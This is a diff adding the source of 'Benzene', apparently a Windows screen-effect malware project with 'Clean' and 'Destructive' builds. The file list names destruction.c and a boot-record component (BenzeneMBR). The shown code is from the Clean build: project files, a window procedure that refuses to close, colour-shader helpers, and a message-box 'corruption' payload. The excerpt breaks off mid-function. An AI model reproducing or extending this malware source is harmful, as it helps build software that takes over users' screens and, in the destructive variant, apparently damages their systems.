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  1. src/Benzene-main/Clean/Benzene.sln +25 -0
  2. src/Benzene-main/Clean/Benzene/Benzene.vcxproj +131 -0
  3. src/Benzene-main/Clean/Benzene/Benzene.vcxproj.filters +78 -0
  4. src/Benzene-main/Clean/Benzene/Benzene.vcxproj.user +4 -0
  5. src/Benzene-main/Clean/Benzene/benzene.h +29 -0
  6. src/Benzene-main/Clean/Benzene/callbacks.c +59 -0
  7. src/Benzene-main/Clean/Benzene/callbacks.h +29 -0
  8. src/Benzene-main/Clean/Benzene/color.c +142 -0
  9. src/Benzene-main/Clean/Benzene/color.h +18 -0
  10. src/Benzene-main/Clean/Benzene/def.h +59 -0
  11. src/Benzene-main/Clean/Benzene/extra_payloads.c +247 -0
  12. src/Benzene-main/Clean/Benzene/extra_payloads.h +28 -0
  13. src/Benzene-main/Clean/Benzene/main.c +137 -0
  14. src/Benzene-main/Clean/Benzene/math.c +59 -0
  15. src/Benzene-main/Clean/Benzene/math.h +33 -0
  16. src/Benzene-main/Clean/Benzene/payloads.c +1918 -0
  17. src/Benzene-main/Clean/Benzene/payloads.h +106 -0
  18. src/Benzene-main/Clean/Benzene/resource.h +14 -0
  19. src/Benzene-main/Clean/Benzene/resource1.h +14 -0
  20. src/Benzene-main/Clean/Benzene/resource2.h +19 -0
  21. src/Benzene-main/Clean/Benzene/threads.c +17 -0
  22. src/Benzene-main/Clean/Benzene/threads.h +8 -0
  23. src/Benzene-main/Destructive/Benzene.sln +25 -0
  24. src/Benzene-main/Destructive/Benzene/Benzene.vcxproj +128 -0
  25. src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.filters +75 -0
  26. src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.user +4 -0
  27. src/Benzene-main/Destructive/Benzene/benzene.h +30 -0
  28. src/Benzene-main/Destructive/Benzene/callbacks.c +59 -0
  29. src/Benzene-main/Destructive/Benzene/callbacks.h +29 -0
  30. src/Benzene-main/Destructive/Benzene/color.c +142 -0
  31. src/Benzene-main/Destructive/Benzene/color.h +18 -0
  32. src/Benzene-main/Destructive/Benzene/def.h +59 -0
  33. src/Benzene-main/Destructive/Benzene/destruction.c +767 -0
  34. src/Benzene-main/Destructive/Benzene/destruction.h +37 -0
  35. src/Benzene-main/Destructive/Benzene/extra_payloads.c +247 -0
  36. src/Benzene-main/Destructive/Benzene/extra_payloads.h +28 -0
  37. src/Benzene-main/Destructive/Benzene/main.c +159 -0
  38. src/Benzene-main/Destructive/Benzene/math.c +59 -0
  39. src/Benzene-main/Destructive/Benzene/math.h +33 -0
  40. src/Benzene-main/Destructive/Benzene/payloads.c +1918 -0
  41. src/Benzene-main/Destructive/Benzene/payloads.h +106 -0
  42. src/Benzene-main/Destructive/Benzene/resource.h +14 -0
  43. src/Benzene-main/Destructive/Benzene/threads.c +17 -0
  44. src/Benzene-main/Destructive/Benzene/threads.h +8 -0
  45. src/Benzene-main/Destructive/BenzeneMBR/Create.bat +46 -0
  46. src/Benzene-main/Destructive/BenzeneMBR/Data/Image/png2bin.py +55 -0
  47. src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.mid +0 -0
  48. src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.py +24 -0
  49. src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin_MEMZ.mid +0 -0
  50. src/Benzene-main/Destructive/BenzeneMBR/Data/Source/Animation/Image/drawIntroFrame.asm +26 -0
src/Benzene-main/Clean/Benzene.sln ADDED
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+ 
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+ Microsoft Visual Studio Solution File, Format Version 12.00
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+ # Visual Studio Version 17
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+ VisualStudioVersion = 17.2.32317.152
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+ MinimumVisualStudioVersion = 10.0.40219.1
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+ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Benzene", "Benzene\Benzene.vcxproj", "{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}"
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+ EndProject
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+ Global
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+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
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+ Release|x64 = Release|x64
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+ Release|x86 = Release|x86
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+ EndGlobalSection
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+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
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+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.ActiveCfg = Release|x64
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+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.Build.0 = Release|x64
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+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.ActiveCfg = Release|Win32
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+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.Build.0 = Release|Win32
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+ EndGlobalSection
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+ GlobalSection(SolutionProperties) = preSolution
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+ HideSolutionNode = FALSE
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+ EndGlobalSection
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+ GlobalSection(ExtensibilityGlobals) = postSolution
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+ SolutionGuid = {B9ADE6F0-3297-4736-88CE-1135D1B5CAAC}
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+ EndGlobalSection
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+ EndGlobal
src/Benzene-main/Clean/Benzene/Benzene.vcxproj ADDED
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1
+ <?xml version="1.0" encoding="utf-8"?>
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+ <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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+ <ItemGroup Label="ProjectConfigurations">
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+ <ProjectConfiguration Include="Release|Win32">
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+ <Configuration>Release</Configuration>
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+ <Platform>Win32</Platform>
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+ </ProjectConfiguration>
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+ <ProjectConfiguration Include="Release|x64">
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+ <Configuration>Release</Configuration>
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+ <Platform>x64</Platform>
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+ </ProjectConfiguration>
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+ </ItemGroup>
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+ <ItemGroup>
14
+ <ClInclude Include="callbacks.h" />
15
+ <ClInclude Include="color.h" />
16
+ <ClInclude Include="def.h" />
17
+ <ClInclude Include="extra_payloads.h" />
18
+ <ClInclude Include="math.h" />
19
+ <ClInclude Include="benzene.h" />
20
+ <ClInclude Include="payloads.h" />
21
+ <ClInclude Include="resource.h" />
22
+ <ClInclude Include="threads.h" />
23
+ </ItemGroup>
24
+ <ItemGroup>
25
+ <ClCompile Include="callbacks.c" />
26
+ <ClCompile Include="color.c" />
27
+ <ClCompile Include="extra_payloads.c" />
28
+ <ClCompile Include="main.c" />
29
+ <ClCompile Include="math.c" />
30
+ <ClCompile Include="payloads.c" />
31
+ <ClCompile Include="threads.c" />
32
+ </ItemGroup>
33
+ <ItemGroup>
34
+ <Image Include="..\..\..\..\..\Downloads\Benzene2.ico">
35
+ <DeploymentContent>true</DeploymentContent>
36
+ </Image>
37
+ </ItemGroup>
38
+ <PropertyGroup Label="Globals">
39
+ <VCProjectVersion>16.0</VCProjectVersion>
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+ <Keyword>Win32Proj</Keyword>
41
+ <ProjectGuid>{3a2dbcf5-a3ab-456d-8367-41d1f1e5e2b4}</ProjectGuid>
42
+ <RootNamespace>Benzene</RootNamespace>
43
+ <WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
44
+ </PropertyGroup>
45
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
46
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
47
+ <ConfigurationType>Application</ConfigurationType>
48
+ <UseDebugLibraries>false</UseDebugLibraries>
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+ <PlatformToolset>v141_xp</PlatformToolset>
50
+ <WholeProgramOptimization>true</WholeProgramOptimization>
51
+ <CharacterSet>Unicode</CharacterSet>
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+ </PropertyGroup>
53
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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+ <ConfigurationType>Application</ConfigurationType>
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+ <UseDebugLibraries>false</UseDebugLibraries>
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+ <PlatformToolset>v141_xp</PlatformToolset>
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+ <WholeProgramOptimization>true</WholeProgramOptimization>
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+ <CharacterSet>Unicode</CharacterSet>
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+ </PropertyGroup>
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+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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+ <ImportGroup Label="ExtensionSettings">
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+ </ImportGroup>
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+ <ImportGroup Label="Shared">
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+ </ImportGroup>
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+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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+ </ImportGroup>
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+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
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+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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+ </ImportGroup>
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+ <PropertyGroup Label="UserMacros" />
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+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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+ <LinkIncremental>false</LinkIncremental>
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+ <TargetName>$(ProjectName) x86 Clean</TargetName>
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+ </PropertyGroup>
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+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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+ <LinkIncremental>false</LinkIncremental>
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+ <TargetName>$(ProjectName) x64 Clean</TargetName>
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+ </PropertyGroup>
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+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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+ <ClCompile>
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+ <WarningLevel>Level3</WarningLevel>
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+ <FunctionLevelLinking>true</FunctionLevelLinking>
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+ <IntrinsicFunctions>true</IntrinsicFunctions>
85
+ <SDLCheck>true</SDLCheck>
86
+ <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
87
+ <ConformanceMode>true</ConformanceMode>
88
+ <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
89
+ <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
90
+ <TreatWarningAsError>true</TreatWarningAsError>
91
+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
92
+ <CallingConvention>StdCall</CallingConvention>
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+ <FloatingPointModel>Fast</FloatingPointModel>
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+ </ClCompile>
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+ <Link>
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+ <SubSystem>Windows</SubSystem>
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+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
98
+ <OptimizeReferences>true</OptimizeReferences>
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+ <GenerateDebugInformation>false</GenerateDebugInformation>
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+ <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
101
+ <UACExecutionLevel>AsInvoker</UACExecutionLevel>
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+ </Link>
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+ </ItemDefinitionGroup>
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+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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+ <ClCompile>
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+ <WarningLevel>Level3</WarningLevel>
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+ <FunctionLevelLinking>true</FunctionLevelLinking>
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+ <IntrinsicFunctions>true</IntrinsicFunctions>
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+ <SDLCheck>true</SDLCheck>
110
+ <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
111
+ <ConformanceMode>true</ConformanceMode>
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+ <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
113
+ <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
114
+ <TreatWarningAsError>true</TreatWarningAsError>
115
+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
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+ <CallingConvention>StdCall</CallingConvention>
117
+ <FloatingPointModel>Fast</FloatingPointModel>
118
+ </ClCompile>
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+ <Link>
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+ <SubSystem>Windows</SubSystem>
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+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
122
+ <OptimizeReferences>true</OptimizeReferences>
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+ <GenerateDebugInformation>false</GenerateDebugInformation>
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+ <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
125
+ <UACExecutionLevel>AsInvoker</UACExecutionLevel>
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+ </Link>
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+ </ItemDefinitionGroup>
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+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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+ <ImportGroup Label="ExtensionTargets">
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+ </ImportGroup>
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+ </Project>
src/Benzene-main/Clean/Benzene/Benzene.vcxproj.filters ADDED
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+ <?xml version="1.0" encoding="utf-8"?>
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+ <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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+ <ItemGroup>
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+ <Filter Include="ソース ファイル">
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+ <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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+ <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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+ </Filter>
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+ <Filter Include="ヘッダー ファイル">
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+ <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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+ <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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+ </Filter>
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+ <Filter Include="リソース">
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+ <UniqueIdentifier>{b4e88c38-7352-4c2b-ba3f-1690e0e5a987}</UniqueIdentifier>
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+ </ItemGroup>
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+ <ItemGroup>
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+ <ClInclude Include="callbacks.h">
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+ <Filter>ヘッダー ファイル</Filter>
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+ <ClInclude Include="threads.h">
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+ <Filter>ヘッダー ファイル</Filter>
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+ </ClInclude>
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+ <ClInclude Include="color.h">
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+ <Filter>ヘッダー ファイル</Filter>
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+ </ClInclude>
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+ <ClInclude Include="def.h">
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+ <Filter>ヘッダー ファイル</Filter>
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+ </ClInclude>
29
+ <ClInclude Include="extra_payloads.h">
30
+ <Filter>ヘッダー ファイル</Filter>
31
+ </ClInclude>
32
+ <ClInclude Include="math.h">
33
+ <Filter>ヘッダー ファイル</Filter>
34
+ </ClInclude>
35
+ <ClInclude Include="benzene.h">
36
+ <Filter>ヘッダー ファイル</Filter>
37
+ </ClInclude>
38
+ <ClInclude Include="payloads.h">
39
+ <Filter>ヘッダー ファイル</Filter>
40
+ </ClInclude>
41
+ <ClInclude Include="resource.h">
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+ <Filter>リソース</Filter>
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+ </ClInclude>
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+ </ItemGroup>
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+ <ItemGroup>
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+ <ClCompile Include="callbacks.c">
47
+ <Filter>ソース ファイル</Filter>
48
+ </ClCompile>
49
+ <ClCompile Include="color.c">
50
+ <Filter>ソース ファイル</Filter>
51
+ </ClCompile>
52
+ <ClCompile Include="extra_payloads.c">
53
+ <Filter>ソース ファイル</Filter>
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+ </ClCompile>
55
+ <ClCompile Include="main.c">
56
+ <Filter>ソース ファイル</Filter>
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+ </ClCompile>
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+ <ClCompile Include="math.c">
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+ <Filter>ソース ファイル</Filter>
60
+ </ClCompile>
61
+ <ClCompile Include="payloads.c">
62
+ <Filter>ソース ファイル</Filter>
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+ </ClCompile>
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+ <ClCompile Include="threads.c">
65
+ <Filter>ソース ファイル</Filter>
66
+ </ClCompile>
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+ </ItemGroup>
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+ <ItemGroup>
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+ <ResourceCompile Include="..\..\..\..\..\デスクトップ\Monoxide-main\Monoxide\Benzene.rc">
70
+ <Filter>リソース</Filter>
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+ </ResourceCompile>
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+ </ItemGroup>
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+ <ItemGroup>
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+ <Image Include="Benzene.ico">
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+ <Filter>リソース</Filter>
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+ </Image>
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+ </ItemGroup>
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+ </Project>
src/Benzene-main/Clean/Benzene/Benzene.vcxproj.user ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ <?xml version="1.0" encoding="utf-8"?>
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+ <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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+ <PropertyGroup />
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+ </Project>
src/Benzene-main/Clean/Benzene/benzene.h ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #pragma warning( disable: 4152 )
3
+ #pragma warning( disable: 4201 )
4
+
5
+ #define RGBQUAD _RGBQUAD
6
+ #pragma warning( push, 0 )
7
+ #include <windows.h>
8
+ #pragma warning( pop )
9
+ #undef RGBQUAD
10
+
11
+ #include <accctrl.h>
12
+ #include <aclapi.h>
13
+ #include <stdio.h>
14
+ #include <math.h>
15
+ #include "def.h"
16
+ #include "math.h"
17
+ #include "color.h"
18
+ #include "callbacks.h"
19
+ #include "threads.h"
20
+ #include "payloads.h"
21
+ #include "extra_payloads.h"
22
+
23
+ #pragma region Public Variables
24
+ extern HWND hwndDesktop;
25
+ extern HDC hdcDesktop;
26
+ extern RECT rcScrBounds;
27
+ extern HHOOK hMsgHook;
28
+ extern INT nCounter;
29
+ #pragma endregion Public Variables
src/Benzene-main/Clean/Benzene/callbacks.c ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ BOOL
4
+ CALLBACK
5
+ MonitorEnumProc(
6
+ _In_ HMONITOR hMonitor,
7
+ _In_ HDC hDC,
8
+ _In_ PRECT prcArea,
9
+ _In_ LPARAM lParam
10
+ )
11
+ {
12
+ UNREFERENCED_PARAMETER( hMonitor );
13
+ UNREFERENCED_PARAMETER( hDC );
14
+ UNREFERENCED_PARAMETER( lParam );
15
+
16
+ rcScrBounds.left = min( rcScrBounds.left, prcArea->left );
17
+ rcScrBounds.top = min( rcScrBounds.top, prcArea->top );
18
+ rcScrBounds.right = max( rcScrBounds.right, prcArea->right );
19
+ rcScrBounds.bottom = max( rcScrBounds.bottom, prcArea->bottom );
20
+
21
+ return TRUE;
22
+ }
23
+
24
+ LRESULT
25
+ CALLBACK
26
+ NoDestroyWndProc(
27
+ _In_ HWND hWnd,
28
+ _In_ DWORD dwMsg,
29
+ _In_ WPARAM wParam,
30
+ _In_ LPARAM lParam
31
+ )
32
+ {
33
+ switch ( dwMsg )
34
+ {
35
+ default:
36
+ return DefWindowProcW( hWnd, dwMsg, wParam, lParam );
37
+ case WM_DESTROY:
38
+ case WM_CLOSE:
39
+ case WM_QUIT:
40
+ return CALLBACK_NULL;
41
+ }
42
+ }
43
+
44
+ VOID
45
+ CALLBACK
46
+ TimerProc(
47
+ _In_ HWND hWnd,
48
+ _In_ UINT nMsg,
49
+ _In_ UINT nIDEvent,
50
+ _In_ DWORD dwTime
51
+ )
52
+ {
53
+ UNREFERENCED_PARAMETER( hWnd );
54
+ UNREFERENCED_PARAMETER( nMsg );
55
+ UNREFERENCED_PARAMETER( nIDEvent );
56
+ UNREFERENCED_PARAMETER( dwTime );
57
+
58
+ nCounter++;
59
+ }
src/Benzene-main/Clean/Benzene/callbacks.h ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ BOOL
5
+ CALLBACK
6
+ MonitorEnumProc(
7
+ _In_ HMONITOR hMonitor,
8
+ _In_ HDC hDC,
9
+ _In_ PRECT prcArea,
10
+ _In_ LPARAM lParam
11
+ );
12
+
13
+ LRESULT
14
+ CALLBACK
15
+ NoDestroyWndProc(
16
+ _In_ HWND hWnd,
17
+ _In_ DWORD dwMsg,
18
+ _In_ WPARAM wParam,
19
+ _In_ LPARAM lParam
20
+ );
21
+
22
+ VOID
23
+ CALLBACK
24
+ TimerProc(
25
+ _In_ HWND hWnd,
26
+ _In_ UINT nMsg,
27
+ _In_ UINT nIDEvent,
28
+ _In_ DWORD dwTime
29
+ );
src/Benzene-main/Clean/Benzene/color.c ADDED
@@ -0,0 +1,142 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ HSLCOLOR
4
+ RGBToHSL(
5
+ _In_ RGBQUAD rgb
6
+ )
7
+ {
8
+ HSLCOLOR hsl;
9
+
10
+ BYTE r = rgb.r;
11
+ BYTE g = rgb.g;
12
+ BYTE b = rgb.b;
13
+
14
+ FLOAT _r = ( FLOAT )r / 255.f;
15
+ FLOAT _g = ( FLOAT )g / 255.f;
16
+ FLOAT _b = ( FLOAT )b / 255.f;
17
+
18
+ FLOAT rgbMin = min( min( _r, _g ), _b );
19
+ FLOAT rgbMax = max( max( _r, _g ), _b );
20
+
21
+ FLOAT fDelta = rgbMax - rgbMin;
22
+ FLOAT deltaR;
23
+ FLOAT deltaG;
24
+ FLOAT deltaB;
25
+
26
+ FLOAT h = 0.f;
27
+ FLOAT s = 0.f;
28
+ FLOAT l = ( FLOAT )( ( rgbMax + rgbMin ) / 2.f );
29
+
30
+ if ( fDelta != 0.f )
31
+ {
32
+ s = l < .5f ? ( FLOAT )( fDelta / ( rgbMax + rgbMin ) ) : ( FLOAT )( fDelta / ( 2.f - rgbMax - rgbMin ) );
33
+ deltaR = ( FLOAT )( ( ( rgbMax - _r ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
34
+ deltaG = ( FLOAT )( ( ( rgbMax - _g ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
35
+ deltaB = ( FLOAT )( ( ( rgbMax - _b ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
36
+
37
+ if ( _r == rgbMax )
38
+ {
39
+ h = deltaB - deltaG;
40
+ }
41
+ else if ( _g == rgbMax )
42
+ {
43
+ h = ( 1.f / 3.f ) + deltaR - deltaB;
44
+ }
45
+ else if ( _b == rgbMax )
46
+ {
47
+ h = ( 2.f / 3.f ) + deltaG - deltaR;
48
+ }
49
+
50
+ if ( h < 0.f )
51
+ {
52
+ h += 1.f;
53
+ }
54
+ if ( h > 1.f )
55
+ {
56
+ h -= 1.f;
57
+ }
58
+ }
59
+
60
+ hsl.h = h;
61
+ hsl.s = s;
62
+ hsl.l = l;
63
+ return hsl;
64
+ }
65
+
66
+ RGBQUAD
67
+ HSLToRGB(
68
+ _In_ HSLCOLOR hsl
69
+ )
70
+ {
71
+ RGBQUAD rgb;
72
+
73
+ FLOAT r = hsl.l;
74
+ FLOAT g = hsl.l;
75
+ FLOAT b = hsl.l;
76
+
77
+ FLOAT h = hsl.h;
78
+ FLOAT sl = hsl.s;
79
+ FLOAT l = hsl.l;
80
+ FLOAT v = ( l <= .5f ) ? ( l * ( 1.f + sl ) ) : ( l + sl - l * sl );
81
+
82
+ FLOAT m;
83
+ FLOAT sv;
84
+ FLOAT fract;
85
+ FLOAT vsf;
86
+ FLOAT mid1;
87
+ FLOAT mid2;
88
+
89
+ INT sextant;
90
+
91
+ if ( v > 0.f )
92
+ {
93
+ m = l + l - v;
94
+ sv = ( v - m ) / v;
95
+ h *= 6.f;
96
+ sextant = ( INT )h;
97
+ fract = h - sextant;
98
+ vsf = v * sv * fract;
99
+ mid1 = m + vsf;
100
+ mid2 = v - vsf;
101
+
102
+ switch ( sextant )
103
+ {
104
+ case 0:
105
+ r = v;
106
+ g = mid1;
107
+ b = m;
108
+ break;
109
+ case 1:
110
+ r = mid2;
111
+ g = v;
112
+ b = m;
113
+ break;
114
+ case 2:
115
+ r = m;
116
+ g = v;
117
+ b = mid1;
118
+ break;
119
+ case 3:
120
+ r = m;
121
+ g = mid2;
122
+ b = v;
123
+ break;
124
+ case 4:
125
+ r = mid1;
126
+ g = m;
127
+ b = v;
128
+ break;
129
+ case 5:
130
+ r = v;
131
+ g = m;
132
+ b = mid2;
133
+ break;
134
+ }
135
+ }
136
+
137
+ rgb.r = ( BYTE )( r * 255.f );
138
+ rgb.g = ( BYTE )( g * 255.f );
139
+ rgb.b = ( BYTE )( b * 255.f );
140
+
141
+ return rgb;
142
+ }
src/Benzene-main/Clean/Benzene/color.h ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ typedef struct {
5
+ FLOAT h;
6
+ FLOAT s;
7
+ FLOAT l;
8
+ } HSLCOLOR;
9
+
10
+ HSLCOLOR
11
+ RGBToHSL(
12
+ _In_ RGBQUAD rgb
13
+ );
14
+
15
+ RGBQUAD
16
+ HSLToRGB(
17
+ _In_ HSLCOLOR hsl
18
+ );
src/Benzene-main/Clean/Benzene/def.h ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ typedef union
5
+ {
6
+ COLORREF rgb;
7
+ struct
8
+ {
9
+ BYTE b;
10
+ BYTE g;
11
+ BYTE r;
12
+ BYTE unused;
13
+ };
14
+ } RGBQUAD, *PRGBQUAD;
15
+
16
+ typedef VOID( WINAPI GDI_SHADER )(
17
+ _In_ INT t,
18
+ _In_ INT w,
19
+ _In_ INT h,
20
+ _In_ HDC hdcTemp,
21
+ _In_ HBITMAP hbmTemp,
22
+ _In_ PRGBQUAD prgbSrc,
23
+ _Inout_ PRGBQUAD prgbDst
24
+ ), *PGDI_SHADER;
25
+
26
+ typedef VOID( WINAPI GDI_SHADER_OPERATION )(
27
+ _In_ INT t,
28
+ _In_ INT w,
29
+ _In_ INT h,
30
+ _In_ RECT rcBounds,
31
+ _In_ HDC hdcDst,
32
+ _In_ HDC hdcTemp
33
+ ), *PGDI_SHADER_OPERATION;
34
+
35
+ typedef struct tagGDI_SHADER_PARAMS
36
+ {
37
+ PGDI_SHADER pGdiShader;
38
+ PGDI_SHADER_OPERATION pPreGdiShader;
39
+ PGDI_SHADER_OPERATION pPostGdiShader;
40
+ } GDI_SHADER_PARAMS, *PGDISHADER_PARAMS;
41
+
42
+ typedef VOID( WINAPI AUDIO_SEQUENCE )(
43
+ _In_ INT nSamplesPerSec,
44
+ _In_ INT nSampleCount,
45
+ _Inout_ PSHORT psSamples
46
+ ), *PAUDIO_SEQUENCE;
47
+
48
+ typedef VOID( WINAPI AUDIOSEQUENCE_OPERATION )(
49
+ _In_ INT nSamplesPerSec
50
+ ), *PAUDIO_SEQUENCE_OPERATION;
51
+
52
+ typedef struct tagAUDIO_SEQUENCE_PARAMS
53
+ {
54
+ INT nSamplesPerSec;
55
+ INT nSampleCount;
56
+ PAUDIO_SEQUENCE pAudioSequence;
57
+ PAUDIO_SEQUENCE_OPERATION pPreAudioOp;
58
+ PAUDIO_SEQUENCE_OPERATION pPostAudioOp;
59
+ } AUDIO_SEQUENCE_PARAMS, *PAUDIO_SEQUENCE_PARAMS;
src/Benzene-main/Clean/Benzene/extra_payloads.c ADDED
@@ -0,0 +1,247 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ VOID
4
+ GetRandomPath(
5
+ _Inout_ PWSTR szRandom,
6
+ _In_ INT nLength
7
+ )
8
+ {
9
+ for ( INT i = 0; i < nLength; i++ )
10
+ {
11
+ szRandom[ i ] = ( WCHAR )( Xorshift32( ) % ( 0x9FFF - 0x4E00 + 1 ) + 0x4E00 );
12
+ }
13
+ }
14
+
15
+ BOOL
16
+ CALLBACK
17
+ MsgBoxRefreshWndProc(
18
+ _In_ HWND hwnd,
19
+ _In_ LPARAM lParam
20
+ )
21
+ {
22
+ UNREFERENCED_PARAMETER( lParam );
23
+ RedrawWindow( hwnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE );
24
+ return TRUE;
25
+ }
26
+
27
+ BOOL
28
+ CALLBACK
29
+ MsgBoxWndProc(
30
+ _In_ HWND hwnd,
31
+ _In_ LPARAM lParam
32
+ )
33
+ {
34
+ UNREFERENCED_PARAMETER( lParam );
35
+ EnableWindow( hwnd, FALSE );
36
+ SetWindowTextW( hwnd, L"Terrible decision." );
37
+ return TRUE;
38
+ }
39
+
40
+ VOID
41
+ WINAPI
42
+ MsgBoxCorruptionThread(
43
+ _In_ HWND hwndMsgBox
44
+ )
45
+ {
46
+ BITMAPINFO bmi = { 0 };
47
+ HANDLE hHeap;
48
+ PRGBQUAD prgbPixels;
49
+ HDC hdcMsgBox;
50
+ HDC hdcTempMsgBox;
51
+ HBITMAP hbmMsgBox;
52
+ RECT rcMsgBox;
53
+ INT w;
54
+ INT h;
55
+
56
+ GetWindowRect( hwndMsgBox, &rcMsgBox );
57
+ w = rcMsgBox.right - rcMsgBox.left;
58
+ h = rcMsgBox.bottom - rcMsgBox.top;
59
+
60
+ bmi.bmiHeader.biSize = sizeof( BITMAPINFO );
61
+ bmi.bmiHeader.biBitCount = 32;
62
+ bmi.bmiHeader.biPlanes = 1;
63
+ bmi.bmiHeader.biWidth = w;
